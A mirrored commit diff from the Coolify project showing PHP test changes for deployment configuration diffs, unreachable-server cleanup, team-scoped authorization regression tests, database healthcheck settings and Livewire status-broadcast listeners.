mirror of
https://github.com/tiennm99/coolify.git
synced 2026-08-07 08:24:20 +00:00
Merge remote-tracking branch 'origin/next' into s3-backup-validation
This commit is contained in:
@@ -80,11 +80,11 @@ it('checks legacy preview deployment configuration hash using preview environmen
|
||||
|
||||
$diff = $application->pendingDeploymentConfigurationDiff();
|
||||
|
||||
expect($diff->isLegacyFallback())->toBeTrue()
|
||||
->and($diff->isChanged())->toBeTrue();
|
||||
expect($diff->isChanged())->toBeTrue()
|
||||
->and($diff->count())->toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it('falls back to legacy configuration hash when no deployment snapshot exists', function () {
|
||||
it('falls back to real diff against empty snapshot when no deployment snapshot exists', function () {
|
||||
$application = configurationChangedTestApplication();
|
||||
$application->isConfigurationChanged(save: true);
|
||||
|
||||
@@ -92,6 +92,10 @@ it('falls back to legacy configuration hash when no deployment snapshot exists',
|
||||
|
||||
$application->update(['build_command' => 'pnpm build']);
|
||||
|
||||
expect($application->refresh()->pendingDeploymentConfigurationDiff()->isLegacyFallback())->toBeTrue()
|
||||
->and($application->pendingDeploymentConfigurationDiff()->isChanged())->toBeTrue();
|
||||
$diff = $application->refresh()->pendingDeploymentConfigurationDiff();
|
||||
|
||||
expect($diff->isChanged())->toBeTrue()
|
||||
->and($diff->isLegacyFallback())->toBeFalse()
|
||||
->and($diff->count())->toBeGreaterThan(0)
|
||||
->and(collect($diff->changes())->pluck('label')->toArray())->toContain('Build command');
|
||||
});
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
<?php
|
||||
|
||||
function renderApplicationServerStatusBadge(?bool $serverStatus, string $status = 'running', bool $hasAdditionalServers = false): string
|
||||
{
|
||||
$application = new class($serverStatus, $status, $hasAdditionalServers)
|
||||
{
|
||||
public function __construct(
|
||||
public ?bool $server_status,
|
||||
public string $status,
|
||||
private bool $hasAdditionalServers,
|
||||
) {}
|
||||
|
||||
public function additional_servers(): object
|
||||
{
|
||||
return new class($this->hasAdditionalServers)
|
||||
{
|
||||
public function __construct(private bool $exists) {}
|
||||
|
||||
public function exists(): bool
|
||||
{
|
||||
return $this->exists;
|
||||
}
|
||||
};
|
||||
}
|
||||
};
|
||||
|
||||
return view('livewire.project.application.server-status-badge', [
|
||||
'application' => $application,
|
||||
])->render();
|
||||
}
|
||||
|
||||
it('does not show the unreachable server badge when server status is unknown', function () {
|
||||
$html = renderApplicationServerStatusBadge(null);
|
||||
|
||||
expect($html)->not->toContain('One or more servers are unreachable or misconfigured.');
|
||||
});
|
||||
|
||||
it('shows the unreachable server badge only when server status is false', function () {
|
||||
$html = renderApplicationServerStatusBadge(false);
|
||||
|
||||
expect($html)->toContain('One or more servers are unreachable or misconfigured.');
|
||||
});
|
||||
@@ -6,7 +6,30 @@ use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('cleans up servers with unreachable_count >= 3 after 7 days', function () {
|
||||
it('disables (non-destructively) self-hosted servers with unreachable_count >= 3 after 7 days', function () {
|
||||
config(['constants.coolify.self_hosted' => true]);
|
||||
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'unreachable_count' => 50,
|
||||
'unreachable_notification_sent' => true,
|
||||
'updated_at' => now()->subDays(8),
|
||||
]);
|
||||
|
||||
$originalIp = (string) $server->ip;
|
||||
|
||||
$this->artisan('cleanup:unreachable-servers')->assertSuccessful();
|
||||
|
||||
$server->refresh();
|
||||
// IP must be preserved — never overwritten on self-hosted.
|
||||
expect($server->ip)->toBe($originalIp);
|
||||
expect($server->settings->force_disabled)->toBeTrue();
|
||||
});
|
||||
|
||||
it('overwrites the IP with 1.2.3.4 on cloud for servers with unreachable_count >= 3 after 7 days', function () {
|
||||
config(['constants.coolify.self_hosted' => false]);
|
||||
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
@@ -36,6 +59,7 @@ it('does not clean up servers with unreachable_count less than 3', function () {
|
||||
|
||||
$server->refresh();
|
||||
expect($server->ip)->toBe($originalIp);
|
||||
expect($server->settings->force_disabled)->toBeFalse();
|
||||
});
|
||||
|
||||
it('does not clean up servers updated within 7 days', function () {
|
||||
@@ -53,6 +77,7 @@ it('does not clean up servers updated within 7 days', function () {
|
||||
|
||||
$server->refresh();
|
||||
expect($server->ip)->toBe($originalIp);
|
||||
expect($server->settings->force_disabled)->toBeFalse();
|
||||
});
|
||||
|
||||
it('does not clean up servers without notification sent', function () {
|
||||
@@ -70,4 +95,5 @@ it('does not clean up servers without notification sent', function () {
|
||||
|
||||
$server->refresh();
|
||||
expect($server->ip)->toBe($originalIp);
|
||||
expect($server->settings->force_disabled)->toBeFalse();
|
||||
});
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Docker\GetContainersStatus;
|
||||
use App\Livewire\Project\Shared\Destination;
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
@@ -10,6 +11,7 @@ use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Queue;
|
||||
use Livewire\Livewire;
|
||||
|
||||
@@ -65,6 +67,10 @@ beforeEach(function () {
|
||||
session(['currentTeam' => $this->teamA]);
|
||||
});
|
||||
|
||||
afterEach(function () {
|
||||
GetContainersStatus::clearFake();
|
||||
});
|
||||
|
||||
describe('Destination::addServer GHSA-j395-3pqh-9r5g', function () {
|
||||
test('cannot attach another team\'s server + network to own application', function () {
|
||||
try {
|
||||
@@ -98,6 +104,16 @@ describe('Destination::addServer GHSA-j395-3pqh-9r5g', function () {
|
||||
expect($this->applicationA->fresh()->additional_networks)->toHaveCount(0);
|
||||
});
|
||||
|
||||
test('cannot attach own network paired with wrong own server', function () {
|
||||
try {
|
||||
Livewire::test(Destination::class, ['resource' => $this->applicationA])
|
||||
->call('addServer', $this->destinationA2->id, $this->serverA->id);
|
||||
} catch (Throwable $e) {
|
||||
}
|
||||
|
||||
expect($this->applicationA->fresh()->additional_networks)->toHaveCount(0);
|
||||
});
|
||||
|
||||
test('can attach own team\'s server + network to own application', function () {
|
||||
Livewire::test(Destination::class, ['resource' => $this->applicationA])
|
||||
->call('addServer', $this->destinationA2->id, $this->serverA2->id);
|
||||
@@ -121,4 +137,96 @@ describe('Destination::promote GHSA-j395-3pqh-9r5g', function () {
|
||||
|
||||
expect($this->applicationA->fresh()->destination_id)->toBe($originalDestinationId);
|
||||
});
|
||||
|
||||
test('cannot promote own network paired with wrong own server', function () {
|
||||
$originalDestinationId = $this->applicationA->destination_id;
|
||||
|
||||
try {
|
||||
Livewire::test(Destination::class, ['resource' => $this->applicationA])
|
||||
->call('promote', $this->destinationA2->id, $this->serverA->id);
|
||||
} catch (Throwable $e) {
|
||||
}
|
||||
|
||||
expect($this->applicationA->fresh()->destination_id)->toBe($originalDestinationId);
|
||||
});
|
||||
|
||||
test('can promote own team network and preserve previous main as additional network', function () {
|
||||
$this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA2->id]);
|
||||
|
||||
Livewire::test(Destination::class, ['resource' => $this->applicationA])
|
||||
->call('promote', $this->destinationA2->id, $this->serverA2->id);
|
||||
|
||||
$application = $this->applicationA->fresh();
|
||||
$additional = $application->additional_networks;
|
||||
|
||||
expect($application->destination_id)->toBe($this->destinationA2->id);
|
||||
expect($additional)->toHaveCount(1);
|
||||
expect($additional->first()->id)->toBe($this->destinationA->id);
|
||||
expect($additional->first()->pivot->server_id)->toBe($this->serverA->id);
|
||||
});
|
||||
|
||||
test('refresh failures after promote do not roll back promoted destination', function () {
|
||||
$this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA2->id]);
|
||||
|
||||
GetContainersStatus::shouldRun()
|
||||
->once()
|
||||
->andThrow(new RuntimeException('refresh failed'));
|
||||
|
||||
try {
|
||||
Livewire::test(Destination::class, ['resource' => $this->applicationA])
|
||||
->call('promote', $this->destinationA2->id, $this->serverA2->id);
|
||||
} catch (Throwable $e) {
|
||||
// The refresh failure is intentionally outside the transaction; persistence is the assertion.
|
||||
}
|
||||
|
||||
$application = $this->applicationA->fresh();
|
||||
$additional = $application->additional_networks;
|
||||
|
||||
expect($application->destination_id)->toBe($this->destinationA2->id);
|
||||
expect($additional)->toHaveCount(1);
|
||||
expect($additional->first()->id)->toBe($this->destinationA->id);
|
||||
expect($additional->first()->pivot->server_id)->toBe($this->serverA->id);
|
||||
});
|
||||
|
||||
test('only detaches the promoted network for the selected pivot server', function () {
|
||||
$this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA2->id]);
|
||||
$this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA->id]);
|
||||
|
||||
Livewire::test(Destination::class, ['resource' => $this->applicationA])
|
||||
->call('promote', $this->destinationA2->id, $this->serverA2->id);
|
||||
|
||||
expect(DB::table('additional_destinations')
|
||||
->where('application_id', $this->applicationA->id)
|
||||
->where('standalone_docker_id', $this->destinationA2->id)
|
||||
->where('server_id', $this->serverA->id)
|
||||
->exists())->toBeTrue();
|
||||
|
||||
expect(DB::table('additional_destinations')
|
||||
->where('application_id', $this->applicationA->id)
|
||||
->where('standalone_docker_id', $this->destinationA2->id)
|
||||
->where('server_id', $this->serverA2->id)
|
||||
->exists())->toBeFalse();
|
||||
});
|
||||
});
|
||||
|
||||
describe('Destination::removeServer', function () {
|
||||
test('only detaches the removed network for the selected pivot server', function () {
|
||||
$this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA2->id]);
|
||||
$this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA->id]);
|
||||
|
||||
Livewire::test(Destination::class, ['resource' => $this->applicationA])
|
||||
->call('removeServer', $this->destinationA2->id, $this->serverA2->id, 'password');
|
||||
|
||||
expect(DB::table('additional_destinations')
|
||||
->where('application_id', $this->applicationA->id)
|
||||
->where('standalone_docker_id', $this->destinationA2->id)
|
||||
->where('server_id', $this->serverA->id)
|
||||
->exists())->toBeTrue();
|
||||
|
||||
expect(DB::table('additional_destinations')
|
||||
->where('application_id', $this->applicationA->id)
|
||||
->where('standalone_docker_id', $this->destinationA2->id)
|
||||
->where('server_id', $this->serverA2->id)
|
||||
->exists())->toBeFalse();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -0,0 +1,175 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\Health;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use Illuminate\Auth\Access\AuthorizationException;
|
||||
|
||||
it('defaults to an enabled healthcheck when nothing is configured', function () {
|
||||
$database = new StandalonePostgresql;
|
||||
|
||||
expect($database->isHealthcheckEnabled())->toBeTrue();
|
||||
});
|
||||
|
||||
it('builds the compose healthcheck block from the model timing fields', function () {
|
||||
$database = new StandalonePostgresql([
|
||||
'health_check_interval' => 30,
|
||||
'health_check_timeout' => 7,
|
||||
'health_check_retries' => 4,
|
||||
'health_check_start_period' => 12,
|
||||
]);
|
||||
|
||||
$config = $database->healthCheckConfiguration(['CMD', 'pg_isready']);
|
||||
|
||||
expect($config)->toBe([
|
||||
'test' => ['CMD', 'pg_isready'],
|
||||
'interval' => '30s',
|
||||
'timeout' => '7s',
|
||||
'retries' => 4,
|
||||
'start_period' => '12s',
|
||||
]);
|
||||
});
|
||||
|
||||
it('falls back to safe defaults when timing fields are missing', function () {
|
||||
$database = new StandalonePostgresql;
|
||||
|
||||
$config = $database->healthCheckConfiguration(['CMD', 'pg_isready']);
|
||||
|
||||
expect($config['interval'])->toBe('15s')
|
||||
->and($config['timeout'])->toBe('5s')
|
||||
->and($config['retries'])->toBe(5)
|
||||
->and($config['start_period'])->toBe('5s');
|
||||
});
|
||||
|
||||
it('reports the healthcheck as disabled when the flag is false', function () {
|
||||
$database = new StandalonePostgresql(['health_check_enabled' => false]);
|
||||
|
||||
expect($database->isHealthcheckEnabled())->toBeFalse();
|
||||
});
|
||||
|
||||
it('uses distinct hash fragments for ambiguous healthcheck values', function () {
|
||||
$enabledDatabase = new StandalonePostgresql([
|
||||
'health_check_enabled' => true,
|
||||
'health_check_interval' => 5,
|
||||
'health_check_timeout' => 5,
|
||||
'health_check_retries' => 5,
|
||||
'health_check_start_period' => 5,
|
||||
]);
|
||||
|
||||
$disabledDatabase = new StandalonePostgresql([
|
||||
'health_check_enabled' => false,
|
||||
'health_check_interval' => 15,
|
||||
'health_check_timeout' => 5,
|
||||
'health_check_retries' => 5,
|
||||
'health_check_start_period' => 5,
|
||||
]);
|
||||
|
||||
$getHashFragment = function () {
|
||||
return $this->healthCheckConfigurationHash();
|
||||
};
|
||||
|
||||
expect($getHashFragment->call($enabledDatabase))
|
||||
->toBe('1|5|5|5|5')
|
||||
->not->toBe($getHashFragment->call($disabledDatabase))
|
||||
->and($getHashFragment->call($disabledDatabase))->toBe('0|15|5|5|5');
|
||||
});
|
||||
|
||||
it('does not mark configuration changed when health update authorization fails', function () {
|
||||
$database = new class
|
||||
{
|
||||
public ?string $config_hash = null;
|
||||
|
||||
public int $configurationChangedChecks = 0;
|
||||
|
||||
public function isConfigurationChanged(bool $save = false): bool
|
||||
{
|
||||
$this->configurationChangedChecks++;
|
||||
|
||||
return true;
|
||||
}
|
||||
};
|
||||
|
||||
$component = new class extends Health
|
||||
{
|
||||
public array $dispatchedEvents = [];
|
||||
|
||||
public function authorize($ability, $arguments = [])
|
||||
{
|
||||
throw new AuthorizationException('This action is unauthorized.');
|
||||
}
|
||||
|
||||
public function dispatch($event, ...$params)
|
||||
{
|
||||
$this->dispatchedEvents[] = $event;
|
||||
|
||||
return null;
|
||||
}
|
||||
};
|
||||
|
||||
$component->database = $database;
|
||||
$component->submit();
|
||||
|
||||
expect($database->configurationChangedChecks)->toBe(0)
|
||||
->and($component->dispatchedEvents)->toBe(['error']);
|
||||
});
|
||||
|
||||
it('toggles database healthcheck and marks configuration changed', function () {
|
||||
$database = new class
|
||||
{
|
||||
public ?string $config_hash = 'existing';
|
||||
|
||||
public bool $health_check_enabled = false;
|
||||
|
||||
public int $health_check_interval = 15;
|
||||
|
||||
public int $health_check_timeout = 5;
|
||||
|
||||
public int $health_check_retries = 5;
|
||||
|
||||
public int $health_check_start_period = 5;
|
||||
|
||||
public int $saveCalls = 0;
|
||||
|
||||
public function save(): void
|
||||
{
|
||||
$this->saveCalls++;
|
||||
}
|
||||
};
|
||||
|
||||
$component = new class extends Health
|
||||
{
|
||||
public array $dispatchedEvents = [];
|
||||
|
||||
public function authorize($ability, $arguments = [])
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
public function dispatch($event, ...$params)
|
||||
{
|
||||
$this->dispatchedEvents[] = $event;
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public function syncData(bool $toModel = false): void
|
||||
{
|
||||
if ($toModel) {
|
||||
$this->database->health_check_enabled = $this->healthCheckEnabled;
|
||||
$this->database->save();
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
$component->database = $database;
|
||||
$component->healthCheckEnabled = false;
|
||||
$component->healthCheckInterval = 15;
|
||||
$component->healthCheckTimeout = 5;
|
||||
$component->healthCheckRetries = 5;
|
||||
$component->healthCheckStartPeriod = 5;
|
||||
|
||||
$component->toggleHealthcheck();
|
||||
|
||||
expect($database->health_check_enabled)->toBeTrue()
|
||||
->and($database->saveCalls)->toBe(1)
|
||||
->and($component->dispatchedEvents)->toBe(['success', 'configurationChanged']);
|
||||
});
|
||||
@@ -1,7 +1,8 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\Import;
|
||||
use App\Livewire\Project\Database\ImportForm;
|
||||
use App\Support\ValidationPatterns;
|
||||
use Livewire\Attributes\Locked;
|
||||
|
||||
describe('container name validation', function () {
|
||||
test('isValidContainerName accepts valid container names', function () {
|
||||
@@ -45,43 +46,43 @@ describe('container name validation', function () {
|
||||
|
||||
describe('locked properties', function () {
|
||||
test('container property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'container');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
$property = new ReflectionProperty(ImportForm::class, 'container');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('serverId property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'serverId');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
$property = new ReflectionProperty(ImportForm::class, 'serverId');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resourceId property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'resourceId');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
$property = new ReflectionProperty(ImportForm::class, 'resourceId');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resourceType property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'resourceType');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
$property = new ReflectionProperty(ImportForm::class, 'resourceType');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resourceUuid property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'resourceUuid');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
$property = new ReflectionProperty(ImportForm::class, 'resourceUuid');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resourceDbType property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'resourceDbType');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
$property = new ReflectionProperty(ImportForm::class, 'resourceDbType');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
@@ -89,7 +90,7 @@ describe('locked properties', function () {
|
||||
|
||||
describe('server method uses team scoping', function () {
|
||||
test('server computed property calls ownedByCurrentTeam', function () {
|
||||
$method = new ReflectionMethod(Import::class, 'server');
|
||||
$method = new ReflectionMethod(ImportForm::class, 'server');
|
||||
|
||||
// Extract the server method body
|
||||
$startLine = $method->getStartLine();
|
||||
@@ -102,9 +103,9 @@ describe('server method uses team scoping', function () {
|
||||
});
|
||||
});
|
||||
|
||||
describe('Import component uses shared ValidationPatterns', function () {
|
||||
describe('ImportForm component uses shared ValidationPatterns', function () {
|
||||
test('runImport references ValidationPatterns for container validation', function () {
|
||||
$method = new ReflectionMethod(Import::class, 'runImport');
|
||||
$method = new ReflectionMethod(ImportForm::class, 'runImport');
|
||||
$startLine = $method->getStartLine();
|
||||
$endLine = $method->getEndLine();
|
||||
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
|
||||
@@ -114,7 +115,7 @@ describe('Import component uses shared ValidationPatterns', function () {
|
||||
});
|
||||
|
||||
test('restoreFromS3 references ValidationPatterns for container validation', function () {
|
||||
$method = new ReflectionMethod(Import::class, 'restoreFromS3');
|
||||
$method = new ReflectionMethod(ImportForm::class, 'restoreFromS3');
|
||||
$startLine = $method->getStartLine();
|
||||
$endLine = $method->getEndLine();
|
||||
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
<?php
|
||||
|
||||
it('declares explicit authorization on database import form controls', function () {
|
||||
$view = file_get_contents(resource_path('views/livewire/project/database/import-form.blade.php'));
|
||||
|
||||
preg_match_all(
|
||||
'/<x-forms\.(button|input|select|checkbox|textarea)\b[^>]*>/s',
|
||||
$view,
|
||||
$matches,
|
||||
PREG_OFFSET_CAPTURE
|
||||
);
|
||||
|
||||
$missingAuthorization = collect($matches[0])
|
||||
->filter(fn (array $match): bool => ! str_contains($match[0], 'canGate=') || ! str_contains($match[0], 'canResource='))
|
||||
->map(fn (array $match): string => 'Line '.(substr_count(substr($view, 0, $match[1]), PHP_EOL) + 1).': '.trim(preg_replace('/\s+/', ' ', $match[0])))
|
||||
->values()
|
||||
->all();
|
||||
|
||||
expect($missingAuthorization)->toBeEmpty();
|
||||
});
|
||||
@@ -1,17 +1,37 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Application\Configuration as ApplicationConfiguration;
|
||||
use App\Livewire\Project\Application\ServerStatusBadge;
|
||||
use App\Livewire\Project\Database\Clickhouse\General as ClickhouseGeneral;
|
||||
use App\Livewire\Project\Database\Clickhouse\StatusInfo as ClickhouseStatusInfo;
|
||||
use App\Livewire\Project\Database\Dragonfly\General as DragonflyGeneral;
|
||||
use App\Livewire\Project\Database\Dragonfly\StatusInfo as DragonflyStatusInfo;
|
||||
use App\Livewire\Project\Database\Import as DatabaseImport;
|
||||
use App\Livewire\Project\Database\ImportForm as DatabaseImportForm;
|
||||
use App\Livewire\Project\Database\Keydb\General as KeydbGeneral;
|
||||
use App\Livewire\Project\Database\Keydb\StatusInfo as KeydbStatusInfo;
|
||||
use App\Livewire\Project\Database\Mariadb\General as MariadbGeneral;
|
||||
use App\Livewire\Project\Database\Mariadb\StatusInfo as MariadbStatusInfo;
|
||||
use App\Livewire\Project\Database\Mongodb\General as MongodbGeneral;
|
||||
use App\Livewire\Project\Database\Mongodb\StatusInfo as MongodbStatusInfo;
|
||||
use App\Livewire\Project\Database\Mysql\General as MysqlGeneral;
|
||||
use App\Livewire\Project\Database\Mysql\StatusInfo as MysqlStatusInfo;
|
||||
use App\Livewire\Project\Database\Postgresql\General as PostgresqlGeneral;
|
||||
use App\Livewire\Project\Database\Postgresql\StatusInfo as PostgresqlStatusInfo;
|
||||
use App\Livewire\Project\Database\Redis\General as RedisGeneral;
|
||||
use App\Livewire\Project\Database\Redis\StatusInfo as RedisStatusInfo;
|
||||
use App\Livewire\Project\Service\Configuration as ServiceConfiguration;
|
||||
use App\Livewire\Project\Service\ResourceCard as ServiceResourceCard;
|
||||
use App\Livewire\Server\Sentinel;
|
||||
use App\Livewire\Server\Show;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\ServiceApplication;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\StandaloneMysql;
|
||||
use App\Models\StandaloneRedis;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
@@ -28,25 +48,159 @@ beforeEach(function () {
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
dataset('ssl-aware-database-general-components', [
|
||||
dataset('database-general-forms-without-broadcasts', [
|
||||
// Status-derived display moved into a sibling StatusInfo component for each DB,
|
||||
// so the form itself takes no broadcast listeners and cannot clobber wire:dirty
|
||||
// by absorbing deferred wire:model values during a status-triggered roundtrip.
|
||||
RedisGeneral::class,
|
||||
PostgresqlGeneral::class,
|
||||
MysqlGeneral::class,
|
||||
MariadbGeneral::class,
|
||||
MongodbGeneral::class,
|
||||
RedisGeneral::class,
|
||||
PostgresqlGeneral::class,
|
||||
KeydbGeneral::class,
|
||||
DragonflyGeneral::class,
|
||||
ClickhouseGeneral::class,
|
||||
DatabaseImportForm::class,
|
||||
ServiceConfiguration::class,
|
||||
ApplicationConfiguration::class,
|
||||
]);
|
||||
|
||||
it('maps database status broadcasts to refresh for ssl-aware database general components', function (string $componentClass) {
|
||||
$component = app($componentClass);
|
||||
$listeners = $component->getListeners();
|
||||
dataset('database-status-info-components', [
|
||||
RedisStatusInfo::class,
|
||||
PostgresqlStatusInfo::class,
|
||||
MysqlStatusInfo::class,
|
||||
MariadbStatusInfo::class,
|
||||
MongodbStatusInfo::class,
|
||||
KeydbStatusInfo::class,
|
||||
DragonflyStatusInfo::class,
|
||||
ClickhouseStatusInfo::class,
|
||||
]);
|
||||
|
||||
expect($listeners["echo-private:user.{$this->user->id},DatabaseStatusChanged"])->toBe('refresh')
|
||||
->and($listeners["echo-private:team.{$this->team->id},ServiceChecked"])->toBe('refresh');
|
||||
})->with('ssl-aware-database-general-components');
|
||||
dataset('display-only-status-components', [
|
||||
RedisStatusInfo::class,
|
||||
PostgresqlStatusInfo::class,
|
||||
MysqlStatusInfo::class,
|
||||
MariadbStatusInfo::class,
|
||||
MongodbStatusInfo::class,
|
||||
KeydbStatusInfo::class,
|
||||
DragonflyStatusInfo::class,
|
||||
ClickhouseStatusInfo::class,
|
||||
DatabaseImport::class,
|
||||
ServiceResourceCard::class,
|
||||
ServerStatusBadge::class,
|
||||
]);
|
||||
|
||||
it('reloads the mysql database model when refreshing so ssl controls follow the latest status', function () {
|
||||
it('does not subscribe the form to status broadcasts when display lives in a sibling', function (string $componentClass) {
|
||||
// Regression guard for coolify#6062 / #6354 / #9695:
|
||||
// Status broadcasts on the form would trigger a Livewire roundtrip that absorbs
|
||||
// deferred wire:model values into the snapshot — clobbering both the typed text
|
||||
// (resolved by the earlier refreshStatus fix) and the wire:dirty indicator.
|
||||
$listeners = resolveLivewireListeners(app($componentClass));
|
||||
|
||||
expect($listeners)
|
||||
->not->toHaveKey("echo-private:user.{$this->user->id},DatabaseStatusChanged")
|
||||
->not->toHaveKey("echo-private:team.{$this->team->id},ServiceChecked")
|
||||
->not->toHaveKey("echo-private:team.{$this->team->id},ServiceStatusChanged");
|
||||
})->with('database-general-forms-without-broadcasts');
|
||||
|
||||
/**
|
||||
* Resolve a Livewire component's listeners regardless of whether the subclass
|
||||
* exposes getListeners() publicly or only declares a $listeners array — the
|
||||
* HandlesEvents trait keeps getListeners() protected by default.
|
||||
*/
|
||||
function resolveLivewireListeners(object $component): array
|
||||
{
|
||||
$method = new ReflectionMethod($component, 'getListeners');
|
||||
$method->setAccessible(true);
|
||||
|
||||
return (array) $method->invoke($component);
|
||||
}
|
||||
|
||||
it('auto-refreshes status-info sibling on database status broadcasts', function (string $componentClass) {
|
||||
// Status-derived display (connection URLs, SSL gate hint, cert expiry) lives in a sibling
|
||||
// Livewire component so it can re-render on broadcasts without touching the form's DOM.
|
||||
$listeners = resolveLivewireListeners(app($componentClass));
|
||||
|
||||
expect($listeners)
|
||||
->toHaveKey("echo-private:user.{$this->user->id},DatabaseStatusChanged")
|
||||
->toHaveKey("echo-private:team.{$this->team->id},ServiceChecked");
|
||||
})->with('database-status-info-components');
|
||||
|
||||
it('keeps realtime status listeners on display-only components instead of form owners', function (string $componentClass) {
|
||||
$listeners = resolveLivewireListeners(app($componentClass));
|
||||
|
||||
expect($listeners)->not->toBeEmpty();
|
||||
})->with('display-only-status-components');
|
||||
|
||||
it('refreshes a service resource card without refreshing the service configuration form owner', function () {
|
||||
$server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$destination = StandaloneDocker::where('server_id', $server->id)->first();
|
||||
$project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
$service = Service::create([
|
||||
'name' => 'status-card-service',
|
||||
'environment_id' => $environment->id,
|
||||
'server_id' => $server->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => $destination->getMorphClass(),
|
||||
'docker_compose_raw' => 'services: {}',
|
||||
]);
|
||||
$serviceApplication = ServiceApplication::create([
|
||||
'service_id' => $service->id,
|
||||
'name' => 'web',
|
||||
'image' => 'nginx:latest',
|
||||
'status' => 'exited:unhealthy',
|
||||
]);
|
||||
$parameters = [
|
||||
'project_uuid' => $project->uuid,
|
||||
'environment_uuid' => $environment->uuid,
|
||||
'service_uuid' => $service->uuid,
|
||||
];
|
||||
|
||||
$component = Livewire::test(ServiceResourceCard::class, [
|
||||
'service' => $service,
|
||||
'resource' => $serviceApplication,
|
||||
'parameters' => $parameters,
|
||||
]);
|
||||
|
||||
$serviceApplication->fill(['status' => 'running:healthy'])->save();
|
||||
|
||||
$component->call('refreshResource');
|
||||
|
||||
expect($component->instance()->resource->status)->toBe('running:healthy');
|
||||
});
|
||||
|
||||
it('refreshes database import status from stored resource identity after the route context is gone', function () {
|
||||
$server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$destination = StandaloneDocker::where('server_id', $server->id)->first();
|
||||
$project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
$database = StandaloneMysql::create([
|
||||
'name' => 'import-status-mysql',
|
||||
'image' => 'mysql:8',
|
||||
'mysql_root_password' => 'password',
|
||||
'mysql_user' => 'coolify',
|
||||
'mysql_password' => 'password',
|
||||
'mysql_database' => 'coolify',
|
||||
'status' => 'exited:unhealthy',
|
||||
'is_log_drain_enabled' => false,
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => $destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$component = app(DatabaseImport::class);
|
||||
$component->resourceId = $database->id;
|
||||
$component->resourceType = StandaloneMysql::class;
|
||||
|
||||
$database->fill(['status' => 'running:healthy'])->save();
|
||||
|
||||
$component->refreshStatus();
|
||||
|
||||
expect($component->resourceStatus)->toBe('running:healthy');
|
||||
});
|
||||
|
||||
